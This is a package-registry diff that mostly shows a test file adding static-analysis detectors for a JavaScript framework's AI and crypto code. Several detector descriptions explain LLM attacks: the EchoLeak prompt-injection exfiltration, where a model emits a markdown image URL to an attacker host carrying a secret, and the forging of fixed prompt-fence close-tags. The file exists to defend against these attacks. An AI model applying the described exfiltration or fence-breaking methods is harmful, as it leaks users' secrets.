@blamejs/blamejs-shop 0.3.40 → 0.3.42

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (61) hide show
  1. package/CHANGELOG.md +4 -0
  2. package/lib/asset-manifest.json +1 -1
  3. package/lib/storefront.js +14 -3
  4. package/lib/vendor/MANIFEST.json +2 -2
  5. package/lib/vendor/blamejs/CHANGELOG.md +8 -0
  6. package/lib/vendor/blamejs/README.md +8 -5
  7. package/lib/vendor/blamejs/SECURITY.md +7 -0
  8. package/lib/vendor/blamejs/api-snapshot.json +266 -2
  9. package/lib/vendor/blamejs/examples/wiki/lib/source-comment-block-validator.js +1 -0
  10. package/lib/vendor/blamejs/index.js +7 -1
  11. package/lib/vendor/blamejs/lib/agent-idempotency.js +113 -0
  12. package/lib/vendor/blamejs/lib/agent-orchestrator.js +108 -0
  13. package/lib/vendor/blamejs/lib/agent-snapshot.js +137 -0
  14. package/lib/vendor/blamejs/lib/agent-tenant.js +193 -17
  15. package/lib/vendor/blamejs/lib/ai-input.js +167 -3
  16. package/lib/vendor/blamejs/lib/ai-output.js +463 -0
  17. package/lib/vendor/blamejs/lib/ai-prompt.js +304 -0
  18. package/lib/vendor/blamejs/lib/archive-wrap.js +234 -1
  19. package/lib/vendor/blamejs/lib/archive.js +1 -0
  20. package/lib/vendor/blamejs/lib/audit.js +3 -0
  21. package/lib/vendor/blamejs/lib/auth/oid4vp.js +47 -28
  22. package/lib/vendor/blamejs/lib/cluster.js +186 -14
  23. package/lib/vendor/blamejs/lib/codepoint-class.js +18 -0
  24. package/lib/vendor/blamejs/lib/compliance-ai-act.js +446 -0
  25. package/lib/vendor/blamejs/lib/consent.js +104 -8
  26. package/lib/vendor/blamejs/lib/content-credentials.js +851 -41
  27. package/lib/vendor/blamejs/lib/crypto-field.js +5 -0
  28. package/lib/vendor/blamejs/lib/db.js +15 -0
  29. package/lib/vendor/blamejs/lib/framework-error.js +21 -0
  30. package/lib/vendor/blamejs/lib/mail-srs.js +122 -19
  31. package/lib/vendor/blamejs/lib/privacy.js +168 -0
  32. package/lib/vendor/blamejs/lib/safe-archive.js +196 -136
  33. package/lib/vendor/blamejs/lib/validate-opts.js +24 -0
  34. package/lib/vendor/blamejs/lib/vault/rotate.js +175 -15
  35. package/lib/vendor/blamejs/lib/vault-aad.js +84 -33
  36. package/lib/vendor/blamejs/package.json +1 -1
  37. package/lib/vendor/blamejs/release-notes/v0.14.11.json +72 -0
  38. package/lib/vendor/blamejs/release-notes/v0.14.12.json +95 -0
  39. package/lib/vendor/blamejs/release-notes/v0.14.13.json +52 -0
  40. package/lib/vendor/blamejs/release-notes/v0.14.14.json +31 -0
  41. package/lib/vendor/blamejs/test/00-primitives.js +9 -1
  42. package/lib/vendor/blamejs/test/layer-0-primitives/agent-idempotency.test.js +103 -0
  43. package/lib/vendor/blamejs/test/layer-0-primitives/agent-orchestrator.test.js +91 -0
  44. package/lib/vendor/blamejs/test/layer-0-primitives/agent-snapshot.test.js +186 -0
  45. package/lib/vendor/blamejs/test/layer-0-primitives/agent-tenant.test.js +140 -0
  46. package/lib/vendor/blamejs/test/layer-0-primitives/ai-input.test.js +59 -0
  47. package/lib/vendor/blamejs/test/layer-0-primitives/ai-output.test.js +125 -0
  48. package/lib/vendor/blamejs/test/layer-0-primitives/ai-prompt.test.js +133 -0
  49. package/lib/vendor/blamejs/test/layer-0-primitives/app-shutdown.test.js +6 -1
  50. package/lib/vendor/blamejs/test/layer-0-primitives/archive-read.test.js +94 -0
  51. package/lib/vendor/blamejs/test/layer-0-primitives/archive-wrap.test.js +176 -0
  52. package/lib/vendor/blamejs/test/layer-0-primitives/cluster-vault-rotation.test.js +243 -0
  53. package/lib/vendor/blamejs/test/layer-0-primitives/codebase-patterns.test.js +250 -0
  54. package/lib/vendor/blamejs/test/layer-0-primitives/compliance-ai-act.test.js +130 -0
  55. package/lib/vendor/blamejs/test/layer-0-primitives/consent-purposes.test.js +70 -0
  56. package/lib/vendor/blamejs/test/layer-0-primitives/content-credentials.test.js +289 -2
  57. package/lib/vendor/blamejs/test/layer-0-primitives/federation-vc-suite.test.js +22 -0
  58. package/lib/vendor/blamejs/test/layer-0-primitives/mail-srs.test.js +61 -0
  59. package/lib/vendor/blamejs/test/layer-0-primitives/privacy-vendor-review.test.js +69 -0
  60. package/lib/vendor/blamejs/test/layer-0-primitives/vault-rotate-aad.test.js +158 -0
  61. package/package.json +1 -1
@@ -2554,6 +2554,23 @@ async function testNoDuplicateCodeBlocks() {
2554
2554
  // so the audit trail records exactly which body of code shares the
2555
2555
  // shape.
2556
2556
  var KNOWN_CLUSTERS = [
2557
+ {
2558
+ mode: "family-subset",
2559
+ files: [
2560
+ "lib/agent-idempotency.js:_checkArgs",
2561
+ "lib/agent-tenant.js:_sealField",
2562
+ "lib/archive-wrap.js:_tenantKeyWithRoot",
2563
+ "lib/atomic-file.js:copyDirRecursive",
2564
+ "lib/ddl-change-control.js:approve",
2565
+ "lib/ddl-change-control.js:reject",
2566
+ "lib/deprecate.js:alias",
2567
+ "lib/guard-filename.js:verifyExtractionPath",
2568
+ "lib/jose-jwe-experimental.js:decrypt",
2569
+ "lib/mail-deploy.js:_validateTlsRptReport",
2570
+ "lib/totp.js:uri",
2571
+ ],
2572
+ reason: "v0.14.12 — generic validate/derive/byte-walk control-flow shingle the vault-rotation reseal work tipped over the 3-file threshold. Members are unrelated primitives (agent-idempotency arg-check, agent-tenant per-tenant AEAD seal, archive-wrap explicit-root tenant-key derive, atomic-file recursive dir-copy, ddl-change-control dual-control approve/reject, deprecate alias, guard-filename path-segment safety walk, jose-jwe decrypt, mail-deploy TLS-RPT validate, totp otpauth URI build). No shared behaviour to extract; consolidating would couple ten unrelated subsystems.",
2573
+ },
2557
2574
  {
2558
2575
  files: ["lib/api-key.js:issue", "lib/db-query.js:<top>", "lib/session.js:create"],
2559
2576
  reason: "Generic JS array helper / lambda shape — Object.keys(...).map(fn) + similar functional idioms appearing in any code that walks a column-or-key list.",
@@ -6302,6 +6319,239 @@ var KNOWN_ANTIPATTERNS = [
6302
6319
  reason: "Codex P1A on v0.12.12 PR #163 — ai-disclosure.chatbot's on-request placement returned shouldEmit=true unconditionally, breaking the three-mode placement contract. Detector locks the static shape so a future placement primitive in ai-disclosure.js can't regress.",
6303
6320
  },
6304
6321
 
6322
+ {
6323
+ // b.ai.output.sanitize neutralizes the EchoLeak markdown-image /
6324
+ // link zero-click exfiltration class (CVE-2025-32711) by gating
6325
+ // every extracted URL through b.safeUrl.parse (scheme + credential)
6326
+ // AND b.ssrfGuard.classify (internal / loopback / link-local /
6327
+ // cloud-metadata IP-range). The bug class this locks: a future edit
6328
+ // that extracts a URL from model output in lib/ai-output.js (a
6329
+ // markdown image / link / reference URL or an HTML src / href) but
6330
+ // drops the SSRF gate would re-open auto-fetch to an internal /
6331
+ // metadata host. The file-scoped invariant: ai-output.js MUST
6332
+ // continue to compose ssrfGuard.classify. (safe-url alone is NOT
6333
+ // sufficient — it does protocol-allowlist + userinfo + IDN, but
6334
+ // does NOT classify 169.254.169.254 / RFC1918 / loopback.) If
6335
+ // ai-output.js ever stops gating URLs (e.g. the primitive is
6336
+ // removed), carry an `allow:ai-output-url-ssrf-gate` marker with the
6337
+ // reason.
6338
+ id: "ai-output-markdown-url-without-ssrf-gate",
6339
+ primitive: "lib/ai-output.js sanitize() MUST gate every URL extracted from model output (markdown image / link / reference + HTML src/href) through BOTH b.safeUrl.parse (scheme + credential refusal) AND b.ssrfGuard.classify (internal / loopback / link-local / cloud-metadata IP-range refusal) — the EchoLeak zero-click exfiltration class (CVE-2025-32711). safe-url alone does not classify private / metadata IPs; ssrfGuard is the IP-range layer. Dropping the ssrfGuard composition re-opens auto-fetch to an attacker / metadata host.",
6340
+ // File-scoped via a content shape unique to ai-output.js: its
6341
+ // markdown-image URL extractor variable (MD_IMAGE_RE). When that
6342
+ // extractor is present, the file MUST also reference
6343
+ // ssrfGuard.classify so the IP-range gate can't be silently
6344
+ // dropped. Other lib files that carry a `![` literal (e.g.
6345
+ // ai-input.js's markdown-injection pattern) don't define
6346
+ // MD_IMAGE_RE, so the detector is precise to the output gate.
6347
+ regex: /\bMD_IMAGE_RE\b/,
6348
+ requires: /ssrfGuard\.classify|allow:ai-output-url-ssrf-gate/,
6349
+ skipCommentLines: true,
6350
+ allowlist: [],
6351
+ reason: "b.ai.output.sanitize (v0.14.11) defends OWASP LLM05:2025 improper output handling. The EchoLeak markdown-image exfiltration class (CVE-2025-32711, Microsoft 365 Copilot, CVSS 9.3) coerces the model via indirect prompt injection to emit ![](https://attacker-or-internal-host/<secret>); the client auto-fetches it zero-click. The defense gates every output URL through safeUrl.parse + ssrfGuard.classify so internal / cloud-metadata targets are neutralized. Detector locks the composition: a future edit to ai-output.js that handles markdown-image URLs without ssrfGuard.classify trips the gate so the SSRF layer can't be silently dropped.",
6352
+ },
6353
+
6354
+
6355
+ {
6356
+ // b.ai.input.classifyWithSources (v0.14.11) applies a TIER-RELATIVE
6357
+ // injection threshold to retrieval-augmented (RAG) sources: untrusted
6358
+ // / internal sources escalate on a single severity-2 or any
6359
+ // severity-3 signal, where the direct prompt keeps classify()'s
6360
+ // 2-severity-2 threshold. The bug class this locks: a handler in lib/
6361
+ // that maps b.ai.input.classify over a sources array on its own loses
6362
+ // that tier-relative threshold (and the worst-of aggregate +
6363
+ // tainted-source bookkeeping), re-opening the indirect prompt-
6364
+ // injection gap (OWASP LLM01:2025) that retrieved data must be
6365
+ // classified MORE strictly than operator input. The fix is to compose
6366
+ // classifyWithSources, which owns the per-tier escalation. A file that
6367
+ // legitimately maps classify over elements is classifyWithSources's
6368
+ // own module (it names the symbol) — cleared by the `requires`
6369
+ // companion. The lookbehind excludes a `function classify(` decl that
6370
+ // happens to follow an unrelated .map() in the same file.
6371
+ id: "rag-source-classify-without-classifywithsources",
6372
+ primitive: "to classify retrieval-augmented (RAG) sources alongside a prompt, compose b.ai.input.classifyWithSources — do NOT map b.ai.input.classify over a sources array by hand. classifyWithSources applies a tier-relative threshold (untrusted / internal sources escalate on a single severity-2 / any severity-3, vs classify's 2-severity-2 baseline) and computes the worst-of aggregate + tainted-source set. Mapping classify directly loses the stricter retrieved-data threshold (OWASP LLM01:2025 indirect prompt injection; CVE-2025-32711 EchoLeak).",
6373
+ regex: /\.map\(\s*(?:function\s*\([^)]*\)\s*\{|\([^)]*\)\s*=>|[A-Za-z_$][\w$]*\s*=>)[\s\S]{0,60}?(?<!function\s)\bclassify\s*\(/,
6374
+ requires: /classifyWithSources|allow:rag-source-classify-without-classifywithsources/,
6375
+ skipCommentLines: true,
6376
+ allowlist: [],
6377
+ reason: "b.ai.input.classifyWithSources (v0.14.11) defends OWASP LLM01:2025 indirect prompt injection — retrieved RAG context is an attacker-influenceable channel (CVE-2025-32711 EchoLeak, CVSS 9.3; NIST AI 600-1 information-integrity). Mapping b.ai.input.classify over sources by hand applies the operator-prompt threshold to retrieved data, which is too permissive: a single severity-2 fragment in an untrusted document should escalate. Detector locks the composition so a future handler that re-rolls the per-source loop without classifyWithSources trips the gate. No pre-existing lib site maps classify over an array; allowlist is empty.",
6378
+ },
6379
+
6380
+ {
6381
+ // b.ai.prompt.template (v0.14.11) fences untrusted context / user
6382
+ // segments with a PER-RENDER crypto-nonce delimiter
6383
+ // (<<UNTRUSTED:role:NONCE>> ... <<END:role:NONCE>>) and strips any
6384
+ // forged occurrence of the active nonce before wrapping, so untrusted
6385
+ // content cannot close the boundary and break into the control plane
6386
+ // (spotlighting / datamarking, Microsoft 2024; NIST AI 100-2e2025;
6387
+ // OWASP LLM01:2025 indirect prompt injection). The bug class this
6388
+ // locks: a prompt-assembly site in lib/ that wraps untrusted content
6389
+ // in a FIXED / guessable literal fence (<user_input> ... </user_input>,
6390
+ // </context>, [DATA]) the attacker can simply emit to terminate. The
6391
+ // regex fires on a fence LITERAL used as a wrapper — concatenated with
6392
+ // a variable ("<user_input>" + x / x + "</user_input>") or carrying a
6393
+ // template interpolation (`<user_input>${...}`). It deliberately does
6394
+ // NOT match a bare `###` heading (markdown), and clears any file that
6395
+ // mints a `nonce` / calls generateBytes (the correct shape).
6396
+ // ai-prompt.js's own ROLE_CONTROL_TOKENS literals are an escape-target
6397
+ // allowlist, never concatenated as fences, so they don't trip this.
6398
+ id: "ai-prompt-template-fixed-delimiter",
6399
+ primitive: "prompt-assembly that wraps untrusted (context / user) content MUST fence it with a per-render high-entropy delimiter (compose b.ai.prompt.template / b.crypto.generateBytes), NOT a fixed / guessable literal fence (<user_input>, </context>, [DATA]). A static fence is forgeable: the model output emits the close-tag verbatim and breaks into the control plane (OWASP LLM01:2025 indirect prompt injection; spotlighting/datamarking, Microsoft 2024).",
6400
+ regex: /(?:`[^`]*(?:<\/?(?:user_input|context|user|data|untrusted)>|\[\/?(?:DATA|USER|CONTEXT|UNTRUSTED)\])[^`]*\$\{|["'](?:<\/?(?:user_input|context|user|data|untrusted)>|\[\/?(?:DATA|USER|CONTEXT|UNTRUSTED)\])["']\s*\+|\+\s*["'](?:<\/?(?:user_input|context|user|data|untrusted)>|\[\/?(?:DATA|USER|CONTEXT|UNTRUSTED)\])["'])/i,
6401
+ requires: /\bnonce\b|generateBytes|allow:ai-prompt-template-fixed-delimiter/,
6402
+ skipCommentLines: true,
6403
+ allowlist: [],
6404
+ reason: "b.ai.prompt.template (v0.14.11) defends OWASP LLM01:2025 indirect prompt injection by fencing untrusted segments with a per-render crypto nonce the content can't forge (spotlighting/datamarking, Microsoft 2024; NIST AI 100-2e2025). A fixed literal fence (<user_input>...</user_input>, [DATA]...[/DATA]) is forgeable — the model emits the close-tag and escapes the data plane. Detector locks the discipline: any lib prompt-assembly that wraps content in a static fence (literal + variable, or template interpolation) without a per-render nonce trips the gate. ai-prompt.js mints a nonce + calls generateBytes (cleared by requires) and its ROLE_CONTROL_TOKENS literals are an escape-target list, not a wrapper. No pre-existing lib site uses a fixed prompt fence; allowlist is empty.",
6405
+ },
6406
+
6407
+ {
6408
+ // CVE-2025-52556 / CWE-347 (improper signature verification) re-open
6409
+ // guard for the C2PA sigTst2 timestamp countersignature. The ONLY
6410
+ // correct timestamp-verification path is b.tsa.verifyToken, which does
6411
+ // the full RFC 3161 §2.4.2/§2.3 check: the CMS signature over the
6412
+ // signed attributes + the messageDigest recompute + a critical, sole
6413
+ // id-kp-timeStamping EKU — NOT a chain-only shortcut. A bespoke cert-
6414
+ // chain walk (checkIssued / X509Certificate(...).verify) on the
6415
+ // timestamp token in place of tsa.verifyToken accepts a backdated /
6416
+ // forged token whose CMS signature was never checked. Scoped to the
6417
+ // timestamp context (sigTst2 / tstToken / tstContainer /
6418
+ // CounterSignature) so the CAWG identity-assertion x509 chain check
6419
+ // (_verifyIdentityX509Chain), which legitimately walks its own chain,
6420
+ // is not flagged.
6421
+ id: "c2pa-timestamp-bespoke-chain-check",
6422
+ primitive: "verify a C2PA sigTst2 timestamp countersignature through b.tsa.verifyToken (full RFC 3161 CMS-signature + messageDigest + critical-sole-EKU check) — never a bespoke cert-chain-only walk on the timestamp token",
6423
+ regex: /(?:sigTst2|tstToken|tstContainer|CounterSignature)[\s\S]{0,400}?(?:\.checkIssued\s*\(|new\s+(?:nodeCrypto\.)?X509Certificate[\s\S]{0,120}?\.verify\s*\()/,
6424
+ skipCommentLines: true,
6425
+ allowlist: [],
6426
+ reason: "CVE-2025-52556 (RFC 3161 timestamp-validation bypass) / CWE-347 (improper signature verification). The C2PA sigTst2 (RFC 9921) timestamp countersignature in lib/content-credentials.js MUST be verified through b.tsa.verifyToken, which performs the full RFC 3161 §2.4.2/§2.3 check (CMS signature over the signed attributes, messageDigest recompute, critical + sole id-kp-timeStamping EKU). A bespoke cert-chain-only check (checkIssued / X509Certificate(...).verify) on the timestamp token accepts a token whose CMS signature was never verified — a backdating / key-compromise forgery. The detector fires when a chain-walk appears near a timestamp token; route through tsa.verifyToken instead. Scoped to the timestamp context so the CAWG identity x509 chain (_verifyIdentityX509Chain) is not affected.",
6427
+ },
6428
+
6429
+ {
6430
+ // v0.14.11 — the GPAI Code-of-Practice adherence declaration
6431
+ // (b.compliance.aiAct.gpai.declareAdherence) MUST ship inside a
6432
+ // signed CycloneDX 1.6 ML-BOM envelope via b.ai.modelManifest
6433
+ // .build/sign (ML-DSA-87 over canonical-JSON-1785), which carries
6434
+ // the signature-substitution defense in verify. A bare-JSON
6435
+ // adherence emitter that writes the `ai-act:gpai-cop-adherence`
6436
+ // property bag into a transport WITHOUT routing through
6437
+ // modelManifest().sign is a tamper-evidence regression: the
6438
+ // obligation set + per-commitment evidence hashes could be edited
6439
+ // after the fact (CWE-345 / CWE-347). Any lib/ file that emits the
6440
+ // adherence property MUST compose the signed envelope OR carry an
6441
+ // `allow:gpai-adherence-declaration-must-be-signed` marker with the
6442
+ // reason signing is bypassed.
6443
+ id: "gpai-adherence-declaration-must-be-signed",
6444
+ primitive: "any lib/ code that emits the `ai-act:gpai-cop-adherence` property bag MUST route through b.ai.modelManifest.sign (the signed CycloneDX 1.6 ML-BOM envelope) so the GPAI Code-of-Practice declaration is tamper-evident — never serialize a bare adherence JSON to a transport. Bypass requires an explicit `allow:gpai-adherence-declaration-must-be-signed` marker.",
6445
+ regex: /["']ai-act:gpai-cop-adherence["']/,
6446
+ requires: /modelManifest\(\)\.sign|allow:gpai-adherence-declaration-must-be-signed/,
6447
+ skipCommentLines: true,
6448
+ allowlist: [],
6449
+ reason: "v0.14.11 — b.compliance.aiAct.gpai.declareAdherence binds the EU AI Act Art. 53/55 GPAI Code-of-Practice adherence declaration (derived obligation set + per-commitment SHA3-512 evidence hashes) into an ML-DSA-87-signed CycloneDX 1.6 ML-BOM via b.ai.modelManifest.build/sign. The signed envelope is the ONLY emission path on the happy path; verify re-canonicalizes and never trusts embedded signed-bytes (CVE-2025-29774 / CVE-2025-29775 xml-crypto signature-substitution class). This detector locks the contract so a future emitter can't ship a bare unsigned adherence JSON whose obligation set could be silently downgraded after signing."
6450
+ },
6451
+
6452
+ {
6453
+ // A framework module that registers a cryptoField {aad:true} table on an
6454
+ // OPERATOR-SUPPLIED store via the lazy-require form cryptoField().registerTable
6455
+ // (agent-idempotency / agent-orchestrator / agent-tenant) seals AAD cells
6456
+ // OUTSIDE db.enc. The in-tree b.vaultRotate.rotate pipeline only walks tables
6457
+ // inside db.enc, so it CANNOT reach these stores — after a vault-key rotation
6458
+ // every such cell is orphaned under the retired root (CWE-320). Every such
6459
+ // module MUST export an AAD_ROTATION descriptor whose reseal hook rotates the
6460
+ // operator store out-of-band. The detector locks the contract so a new
6461
+ // external-store {aad:true} table can't silently re-introduce the orphan.
6462
+ // The db.init-reachable tables use the direct cryptoField.registerTable form
6463
+ // (no parens) and are rotated by the in-tree pipeline, so they don't match.
6464
+ id: "aad-external-store-table-without-rotation",
6465
+ primitive: "every lib/ module that calls cryptoField().registerTable(...) (the lazy-require form, used only for {aad:true} tables sealed on an operator-supplied store outside db.enc) MUST export an AAD_ROTATION descriptor { table, rowIdField, schemaVersion, backend: \"external\", reseal } whose reseal({ store, oldRootJson, newRootJson }) re-seals every persisted AAD cell old-root -> new-root via vaultAad.resealRoot, rebuilding AAD via cryptoField._aadParts. Without it, a vault-key rotation orphans the store's ciphertext under the retired root.",
6466
+ regex: /cryptoField\(\)\.registerTable/,
6467
+ requires: /AAD_ROTATION|allow:aad-external-store-table-without-rotation/,
6468
+ skipCommentLines: true,
6469
+ allowlist: [],
6470
+ reason: "External-store {aad:true} tables (agent-idempotency 'agent_idempotency', agent-orchestrator 'agent_orchestrator_registry', agent-tenant 'agent_tenant_registry') seal AAD cells on an operator-supplied backend the in-tree b.vaultRotate.rotate pipeline can't reach. Each now exports AAD_ROTATION.reseal so an operator rotates them out-of-band, composing vaultAad.resealRoot + cryptoField._aadParts (one source of truth for the AAD tuple). The detector ensures a future external-store {aad:true} table can't ship without a rotation hook, which would silently orphan its ciphertext under the old vault root after a rotation (CWE-320 cryptographic-key-management failure).",
6471
+ },
6472
+
6473
+ {
6474
+ // A module that declares a root-derived sealed-cell PREFIX FAMILY
6475
+ // (a `<name>-vN:` ciphertext prefix whose per-cell key is derived
6476
+ // from the vault master root — SHA3-512 of b.vault.getKeysJson())
6477
+ // MUST also ship an AAD_ROTATION reseal descriptor so a vault-key
6478
+ // rotation can re-seal every prior cell old-root -> new-root. Without
6479
+ // the reseal path a keypair rotation orphans every cell (decryptable
6480
+ // under neither root). The bug class this locks: a future module adds
6481
+ // a `var X_PREFIX = \"foo-v1:\";` sealed-cell family + an explicit-root
6482
+ // derivation but forgets the reseal hook, silently re-breaking the
6483
+ // \"rotation = re-seal\" promise. agent-tenant.js (tnt-v1:) and
6484
+ // agent-snapshot.js (snap-sealed-v1:) both define the prefix AND export
6485
+ // AAD_ROTATION, so they are cleared by the `requires` companion. vault-
6486
+ // aad.js / vault/rotate.js are the reseal SUBSTRATE, not a prefix
6487
+ // family, so they don't carry the literal and don't trip.
6488
+ id: "root-prefix-family-without-reseal",
6489
+ primitive: "a module that declares a root-derived sealed-cell prefix family (var <NAME>_PREFIX = \"<token>-vN:\" whose per-cell key derives from the vault root via SHA3-512 of b.vault.getKeysJson) MUST also export an AAD_ROTATION descriptor with a reseal({ store, oldRootJson, newRootJson }) hook (composing vaultAad.resealRoot for vault.aad: cells and the explicit-root derived key on both sides for the prefix-family cells). Otherwise a vault-key rotation orphans every prior cell — decryptable under neither root — silently breaking the rotation = re-seal contract.",
6490
+ regex: /\bvar\s+[A-Z][A-Z0-9_]*_PREFIX\s*=\s*"[a-z0-9-]+-v\d+:"/,
6491
+ requires: /AAD_ROTATION|allow:root-prefix-family-without-reseal/,
6492
+ skipCommentLines: true,
6493
+ allowlist: [],
6494
+ reason: "v0.14.x — the two root-derived prefix families (b.agent.tenant tnt-v1: + b.agent.snapshot snap-sealed-v1:) derive their per-cell XChaCha20-Poly1305 key from SHA3-512(b.vault.getKeysJson()); rotating the vault keypair changes the root, so every prior cell must be re-sealed old-root -> new-root via the module's AAD_ROTATION reseal hook (the migration is NOT automatic on read). Detector locks the discipline: any new lib module that declares a `<name>-vN:` sealed-cell prefix family without an AAD_ROTATION reseal path trips the gate. Both current matches export AAD_ROTATION (cleared by requires); allowlist is empty — a future prefix family with no reseal path is a real defect, not allowlist material.",
6495
+ },
6496
+
6497
+ {
6498
+ id: "wrapped-aad-seal-needs-reseal-path",
6499
+ primitive: "a lib module that AAD-seals a value (vault.aad: ciphertext) and wraps it behind its own string-prefix constant before persisting MUST export an AAD_ROTATION descriptor whose reseal() strips the wrapper, resealRoots the inner blob old->new root under the rebuilt AAD, and re-applies the wrapper - a `db.enc` scan for the bare \"vault.aad:\" prefix can't detect or re-key a wrapper-prefixed cell, so vault-key rotation would silently strand it. See lib/agent-snapshot.js (SEALED_PREFIX + AAD_ROTATION). Bypass requires an `allow:wrapped-aad-seal-needs-reseal-path` marker naming why the wrapped values are out of rotation scope.",
6500
+ regex: /=\s*"[^"]*sealed[^"]*:"\s*;/i,
6501
+ requires: /AAD_ROTATION|allow:wrapped-aad-seal-needs-reseal-path/,
6502
+ skipCommentLines: true,
6503
+ allowlist: [
6504
+ // cache.js wraps a PLAIN vault().seal ("vault:" envelope), not an
6505
+ // AAD-root-bound "vault.aad:" blob - re-keyed by the whole-vault
6506
+ // rotation, not the AAD reseal pipeline. Not in AAD_ROTATION scope.
6507
+ "lib/cache.js",
6508
+ ],
6509
+ reason: "v0.14.12 b.agent.snapshot.reseal - the snapshot envelope is AAD-sealed then wrapped behind SEALED_PREFIX (\"snap-sealed-v1:\") and written to an operator backend, so a db.enc scan for the bare \"vault.aad:\" prefix can neither detect nor re-key it during a vault-key rotation. The module exports AAD_ROTATION { table, rowIdField, schemaVersion, backend:\"external\", reseal } so the rotation pipeline drives the re-key (resealRoot old->new root under the rebuilt _snapshotAad, prefix re-applied). Detector locks the invariant: any future module that wraps an AAD-sealed value behind its own prefix constant must ship the same reseal path so wrapper-hidden ciphertext can't escape vault-key rotation.",
6510
+ },
6511
+
6512
+ { id: "archive-tenant-rewrap-must-compose-rewrapTenant", primitive: "b.archive.rewrapTenant", scanScope: "lib", regex: /archive-wrap\|tenant\||derivedKey(?:WithRoot)?\([^)]*["']archive-wrap["']/, allowlist: ["lib/archive-wrap.js", "lib/agent-tenant.js"], reason: "v0.14.12 — recipient: \"tenant\" archive blobs are keyed off the vault root (b.agent.tenant.derivedKey(tenantId, \"archive-wrap\")) and sealed under the tenant-bound AAD literal \"archive-wrap|tenant|<id>\". The vault rotation pipeline (b.vaultRotate.rotate) does NOT walk operator-placed blobs (files / object-storage / backups), so re-wrapping them old-root->new-root MUST compose b.archive.rewrapTenant — never re-derive the archive-wrap tenant key or rebuild the tenant AAD inline, which would (a) skip the explicit-root straddle the live singleton can't do and (b) risk drifting the AAD/derivation away from the single source. Data-loss class: CWE-325 (missing required cryptographic step) / CWE-665 (improper initialization of the new-root key). Owner lib/archive-wrap.js holds both the AAD construction and the explicit-root derivation; lib/agent-tenant.js is the home of the derivedKey derivation + carries the canonical \"archive-wrap\" purpose only in its @primitive docstring examples (stripped by the comment-skip preprocessor). Any OTHER lib file matching this shape is re-implementing tenant-blob crypto and must route through b.archive.rewrapTenant instead." },
6513
+
6514
+ { id: "no-phantom-not-yet-supported-throw", primitive: "a primitive must not advertise a capability in @module/@intro/@card prose and then throw an unimplemented stub with no re-open condition — implement it or remove the advertisement (overdue-broken-promise class)", scanScope: "lib", skipCommentLines: true, regex: /not yet supported|operator demand TBD|not[ -]supported in v1\b/i, allowlist: [], reason: "v0.14.13 — mail-srs (the phantom srs1Rewrite fn) and oid4vp (DCQL null path-segment) each advertised a capability in their @module/@intro/@card and then threw a bare stub ('not yet supported', 'operator demand TBD', 'not supported in v1') with no written re-open condition. A defer is only complete WITH a condition (feedback_defer_is_a_v1_decision); legitimate defers read 're-opens when X' / 'defer-with-condition', never a bare 'not yet supported'. Both stubs are now implemented (SRS1 double-forward + DCQL array-wildcard); this detector (throw/code strings only — comments skipped) keeps the bare-defer phrasing from re-entering lib/." },
6515
+
6516
+ { id: "dcql-null-path-must-recurse-not-refuse", primitive: "DCQL claims-path-pointer null segment selects all elements of the array at that depth (OpenID4VP 1.0 §7.1.1) — recurse over array elements, never throw 'not supported'", scanScope: "lib", regex: /null[- ]?path[- ]?segment[- ]?not[- ]?supported|null path segment \(any-element\) not supported/i, allowlist: [], reason: "v0.14.13 — lib/auth/oid4vp.js _resolvePath once refused null path segments with AuthError(\"auth-oid4vp/null-path-segment-not-supported\") while the module @card advertised DCQL. A null segment is the spec-mandated array wildcard (OpenID4VP 1.0 §7.1.1: select all elements of the currently selected array); refusing it under-discloses a legitimate presentation (CWE-863 incorrect authorization). _walkPath now recurses over array elements with existence semantics (null on a non-array node is a clean non-match, not a throw — holder credential data, rule §5 defensive-reader tier). Detector ensures the throw-stub phrasing cannot return; the testNoStaleDefers version-promise detector does not catch it because its regex requires a NN.NN version and the stub said single-digit \"in v1\"." },
6517
+
6518
+ { id: "safe-archive-extract-to-memory-no-disk-write", primitive: "b.safeArchive.extractToMemory must stay disk-free — it composes the readers' extractEntries() async generators and yields { name, bytes, size } in memory; the disk path is b.safeArchive.extract", scanScope: "lib", regex: /async function\* extractToMemory[\s\S]{0,2000}?\b(writeFileSync|renameSync|mkdirSync|appendFileSync|createWriteStream)\b/, allowlist: [], reason: "v0.14.13 — extractToMemory is the read-only / serverless-FS counterpart to extract(): it MUST NOT touch disk, it yields decompressed entry bytes from the readers' extractEntries() async generators. A writeFileSync / renameSync / mkdirSync / createWriteStream inside the generator body means the no-disk-write contract regressed (the exact failure the serverless / read-only-FS use case forbids). The disk extract() is the only writer; the inverse must-compose-the-orchestrator direction is already covered by archive-substrate-bypass / safe-archive-extract-bypass. Empty allowlist — a disk write on this path is a real defect, not allowlist material." },
6519
+
6520
+ { id: "safe-archive-no-phantom-encryptpacked-envelope", primitive: "b.safeArchive must not sniff or advertise a b.crypto.encryptPacked / EPACK archive envelope — encryptPacked writes a 1-byte XChaCha20 format header, not a magic prefix, and no framework primitive produces an EPACK-wrapped archive; only the real BAWRP / BAWPP wrap envelopes are sniffed + auto-unwrapped", scanScope: "lib", regex: /\bEPACK\b|encryptPacked-wrapped (archives|envelopes) (are )?auto-unwrapped|format:\s*"encryptPacked"/, allowlist: [], reason: "v0.14.13 — safe-archive's _sniffMagic carried a phantom MAGIC_ENCPACKED=\"EPACK\" branch returning { format: \"encryptPacked\" } and the @intro + format-unsupported messages advertised encryptPacked-wrapped archives as auto-unwrapped, but b.crypto.encryptPacked writes a 1-byte format header (0x02 XChaCha20-Poly1305), NOT an \"EPACK\" magic — so nothing ever produced or matched it, and b.archive.sniffEnvelope (the sibling sniffer) only knows BAWRP / BAWPP. Codex P2 on PR #294 surfaced the sniff vs unwrap vs advertisement drift; the phantom format + advertisement were removed. This detector keeps the dead EPACK magic and the false auto-unwrap advertisement from creeping back into lib/." },
6521
+
6522
